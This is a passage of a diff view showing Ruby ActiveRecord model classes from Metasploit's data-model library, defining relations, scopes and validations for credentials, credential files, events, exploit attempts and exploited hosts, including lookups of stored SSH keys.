(self.ssh_private_keys | self.ssh_public_keys)
end
# Returns all private keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_private_keys
return [] unless self.ssh_key_id
matches = self.class.all(
:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_key", "%#{self.ssh_key_id}%"]
)
matches.select {|c| c.workspace == self.workspace}
end
# Returns all public keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_public_keys
return [] unless self.ssh_key_id
matches = self.class.all(
:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_pubkey", "%#{self.ssh_key_id}%"]
)
matches.select {|c| c.workspace == self.workspace}
end
# Returns its workspace
def workspace
self.service.host.workspace
end
ActiveSupport.run_load_hooks(:mdm_cred, self)
end

View File

@ -0,0 +1,8 @@
class Mdm::CredFile < ActiveRecord::Base
#
# Relations
#
belongs_to :workspace, :class_name => 'Mdm::Workspace'
ActiveSupport.run_load_hooks(:mdm_cred_file, self)
end

View File

@ -0,0 +1,30 @@
class Mdm::Event < ActiveRecord::Base
#
# Relations
#
belongs_to :host, :class_name => 'Mdm::Host'
belongs_to :workspace, :class_name => 'Mdm::Workspace'
#
# Scopes
#
scope :flagged, where(:critical => true, :seen => false)
scope :module_run, where(:name => 'module_run')
#
# Serializations
#
serialize :info, MetasploitDataModels::Base64Serializer.new
#
# Validations
#
validates :name, :presence => true
ActiveSupport.run_load_hooks(:mdm_event, self)
end

View File

@ -0,0 +1,14 @@
class Mdm::ExploitAttempt < ActiveRecord::Base
#
# Relations
#
belongs_to :host, :class_name => 'Mdm::Host', :counter_cache => :exploit_attempt_count
#
# Validations
#
validates :host_id, :presence => true
ActiveSupport.run_load_hooks(:mdm_exploit_attempt, self)
end

View File

@ -0,0 +1,11 @@
class Mdm::ExploitedHost < ActiveRecord::Base
#
# Relations
#
belongs_to :host, :class_name => 'Mdm::Host'
belongs_to :service, :class_name => 'Mdm::Service'
belongs_to :workspace, :class_name => 'Mdm::Workspace'
ActiveSupport.run_load_hooks(:mdm_exploited_host, self)
end

Some files were not shown because too many files have changed in this diff Show More